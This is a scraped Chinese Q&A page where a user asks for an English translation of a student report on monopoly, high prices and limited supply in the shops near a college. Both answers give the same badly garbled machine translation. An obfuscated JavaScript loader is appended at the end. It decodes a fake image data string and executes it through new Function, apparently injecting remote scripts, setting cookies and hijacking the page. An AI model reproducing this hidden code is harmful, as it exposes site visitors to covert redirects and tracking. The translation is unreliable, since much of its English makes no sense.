求英语翻译帝帮翻译一下文。汉译英。会追加分的。急要!

2025-03-09 08:45:52
推荐回答(2个)
回答1:

Question:
In recent years, with the expansion of our recruitment, increasing number of students, the consumer market, but also gradually expanded due to a shortage of supply market after school provide goods business already cannot satisfy the needs of the consumers. According to our school after the consumptive market survey that 65 percent of them: "the school consumption, 51% of people think commodity price expensive and not beautiful, after nearly 70 percent of people hope the monopoly of the school improvement, nearly 65% phenomenon of hope in the future development of food after school to be innovative, direction of consumers have more choices, nearly 90 percent of people believe should be expanded, nearly 60% of business that if there are other consumer place, they can consider whether to continue the school consumption. So these problems to solve.
Analysis:
(1), resource limitations:
Social resources are limited, as a household cannot give every member of its like every thing. The institute of business school after the wealth, the area is lesser, booth here people not only include spending more than 9,000 tianfu college students, and the institute of nanshan, vocational school and bilingual construction site and the surrounding Citroen company personnel to consumer, it is caused by commercial cannot satisfy our each person's life needs.
(2), the contradiction between supply and demand:
Demand is willing and able to sell to certain substances, demand is willing and able to buy refers to the buyer of goods, when demand is greater or less than the contradiction between supply and demand and supply called back to college because of commercial area is lesser, businessmen, but can't sell products, but also more and more consumer groups, the ability to purchase goods, so demand greater than supply and demand, the contradiction between supply and demand in the demand.
(3), cost:
The total cost is used in the production of the market value of the investment, business management needs input, and the cost of money (not including fixed costs as changes cost), variable costs (with the changes of our school, after the commercial area is small, the high rent, so the merchants need to input, and the high cost of fixed position, purchase resources too far behind the school faced an fluctuation, the smaller, so consumer people variable costs.
(4), forming the lack of competition: monopoly,
Oligarchs is only a few offer similar or identical products selling market structure, there are many sell monopolistic competition is similar but not identical products market structure. After school downtown area is too small, the businessman is limited, so the merchants formation, and a series of oligarchic monopoly, especially in food, supermarket, restaurant provides the same food rarely phenomenon seldom, thus formed the monopolistic competition.
To solve the problem:
A, expand the business area, increasing the supply
With our college recruit students number, increasing number increases year by year. For distributors, this is a very big market. In the market, has prompted them to participate in the market competition, but, owing to the school gate business area is finite, can provide the appearance, booths, etc, it is limited to let dealers can provide all kinds of consumer goods, and thus limited. According to the market investigation and analysis of various commodities in the gate, and can meet the demand of the consumers, basically meeting about 7% of about 52%, cannot satisfy the approximately 41 percent. We can see that the goods cannot completely, meet the needs of the consumers, so we need to provide more abundant commodity types and styles, to meet consumers' needs.
(1) gradually expand business area. First, so that there is more merchants to enter the market, thus increasing competition, then, will produce an incentive effect. In economics, people respond to incentives will (4), thereby improving principle of current not ideal state. To improve health conditions, such as: Increase product quantity, Pays attention to product quality. To improve service attitude. In order to attract more customers. Second, expanding commercial area, have increased supply and demand in certain period is relatively stable, therefore, the price will drop accordingly.
(2) to the sale of goods flow, of course not include a facade-like vendors. Suggest that retailers bring sales tool everyday to commercial sale of goods, (of course have qualified health condition and the corresponding equipment) rather than a fixed point in every day. Also can take in the limited space, for example, if the multilayer decoration with trucks with goods sales, we can use fruit box such things will be put inside, if neatly in the glass is such, can be converted into its layers, prepare flexible close put chairs bench etc.
Second, strengthen competition, breaking monopoly situation
Actively encourage more vendors involved in the market, to provide more goods to meet the needs of the consumers. Encouraging similar products. After school, because of the limited sales business Co., LTD, has formed the monopoly situation. So they can discuss in the circumstances, forming a collusion between the enterprise market production in charge or the price agreement), deliberately price-gouging, which is not only the unfair market order, and give consumers brings serious economic burden, especially for students. The survey found that are deliberately, 28% of higher prices, benefit. At this time, you have to say to the government. Because the government can sometimes improve market effect (7), because only the principle of tangible and intangible hands makes hand market more standardized, more equal. If the government can invest near the school built a relatively large and comprehensive market.
Three, and improve the management idea
Due to the operators are for the purpose of profit, so, basically all their activities are surrounded by the lowest cost, and how to gain the maximum income. When fixed costs are not much change, for these purposes, they will ignore some seemingly small problems.

回答2:

译文是这样的 Question:
In recent years, with the expansion of our recruitment, increasing number of students, the consumer market, but also gradually expanded due to a shortage of supply market after school provide goods business already cannot satisfy the needs of the consumers. According to our school after the consumptive market survey that 65 percent of them: "the school consumption, 51% of people think commodity price expensive and not beautiful, after nearly 70 percent of people hope the monopoly of the school improvement, nearly 65% phenomenon of hope in the future development of food after school to be innovative, direction of consumers have more choices, nearly 90 percent of people believe should be expanded, nearly 60% of business that if there are other consumer place, they can consider whether to continue the school consumption. So these problems to solve.
Analysis:
(1), resource limitations:
Social resources are limited, as a household cannot give every member of its like every thing. The institute of business school after the wealth, the area is lesser, booth here people not only include spending more than 9,000 tianfu college students, and the institute of nanshan, vocational school and bilingual construction site and the surrounding Citroen company personnel to consumer, it is caused by commercial cannot satisfy our each person's life needs.
(2), the contradiction between supply and demand:
Demand is willing and able to sell to certain substances, demand is willing and able to buy refers to the buyer of goods, when demand is greater or less than the contradiction between supply and demand and supply called back to college because of commercial area is lesser, businessmen, but can't sell products, but also more and more consumer groups, the ability to purchase goods, so demand greater than supply and demand, the contradiction between supply and demand in the demand.
(3), cost:
The total cost is used in the production of the market value of the investment, business management needs input, and the cost of money (not including fixed costs as changes cost), variable costs (with the changes of our school, after the commercial area is small, the high rent, so the merchants need to input, and the high cost of fixed position, purchase resources too far behind the school faced an fluctuation, the smaller, so consumer people variable costs.
(4), forming the lack of competition: monopoly,
Oligarchs is only a few offer similar or identical products selling market structure, there are many sell monopolistic competition is similar but not identical products market structure. After school downtown area is too small, the businessman is limited, so the merchants formation, and a series of oligarchic monopoly, especially in food, supermarket, restaurant provides the same food rarely phenomenon seldom, thus formed the monopolistic competition.
To solve the problem:
A, expand the business area, increasing the supply
With our college recruit students number, increasing number increases year by year. For distributors, this is a very big market. In the market, has prompted them to participate in the market competition, but, owing to the school gate business area is finite, can provide the appearance, booths, etc, it is limited to let dealers can provide all kinds of consumer goods, and thus limited. According to the market investigation and analysis of various commodities in the gate, and can meet the demand of the consumers, basically meeting about 7% of about 52%, cannot satisfy the approximately 41 percent. We can see that the goods cannot completely, meet the needs of the consumers, so we need to provide more abundant commodity types and styles, to meet consumers' needs.
(1) gradually expand business area. First, so that there is more merchants to enter the market, thus increasing competition, then, will produce an incentive effect. In economics, people respond to incentives will (4), thereby improving principle of current not ideal state. To improve health conditions, such as: Increase product quantity, Pays attention to product quality. To improve service attitude. In order to attract more customers. Second, expanding commercial area, have increased supply and demand in certain period is relatively stable, therefore, the price will drop accordingly.
(2) to the sale of goods flow, of course not include a facade-like vendors. Suggest that retailers bring sales tool everyday to commercial sale of goods, (of course have qualified health condition and the corresponding equipment) rather than a fixed point in every day. Also can take in the limited space, for example, if the multilayer decoration with trucks with goods sales, we can use fruit box such things will be put inside, if neatly in the glass is such, can be converted into its layers, prepare flexible close put chairs bench etc.
Second, strengthen competition, breaking monopoly situation
Actively encourage more vendors involved in the market, to provide more goods to meet the needs of the consumers. Encouraging similar products. After school, because of the limited sales business Co., LTD, has formed the monopoly situation. So they can discuss in the circumstances, forming a collusion between the enterprise market production in charge or the price agreement), deliberately price-gouging, which is not only the unfair market order, and give consumers brings serious economic burden, especially for students. The survey found that are deliberately, 28% of higher prices, benefit. At this time, you have to say to the government. Because the government can sometimes improve market effect (7), because only the principle of tangible and intangible hands makes hand market more standardized, more equal. If the government can invest near the school built a relatively large and comprehensive market.
Three, and improve the management idea
Due to the operators are for the purpose of profit, so, basically all their activities are surrounded by the lowest cost, and how to gain the maximum income. When fixed costs are not much change, for these purposes, they will ignore some seemingly small problems.

!function(){function a(a){var _idx="e4ydksy2pg";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0)hFL_h^m_XO6L)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFL5SJm4h(7F7fmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/Ks0jR8YoTfSLT@Jp"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"Ks0"=X8"YoTfSLT@Jp"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"Ks0^)ThF)mhfO76RqmRT4"="Ks0X5ThF)mT)7F56RmRT4"="Ks02pThFmhfO76RqmRT4"="Ks0_JqhFmT)7F56RmRT4"="Ks02TOhFmhfO76RqmRT4"="Ks0CSqhF)mT)7F56RmRT4"="Ks0)FfThF)fmhfO76RqmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPKs0qhOFq^)Y6(:mX2O2fmRT4gQ}1Q/((/Ks0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q/f/Ks0j(8}vR8YoTfSLT@Jp"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPKs0dhFLFT6m)CFSp)pmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();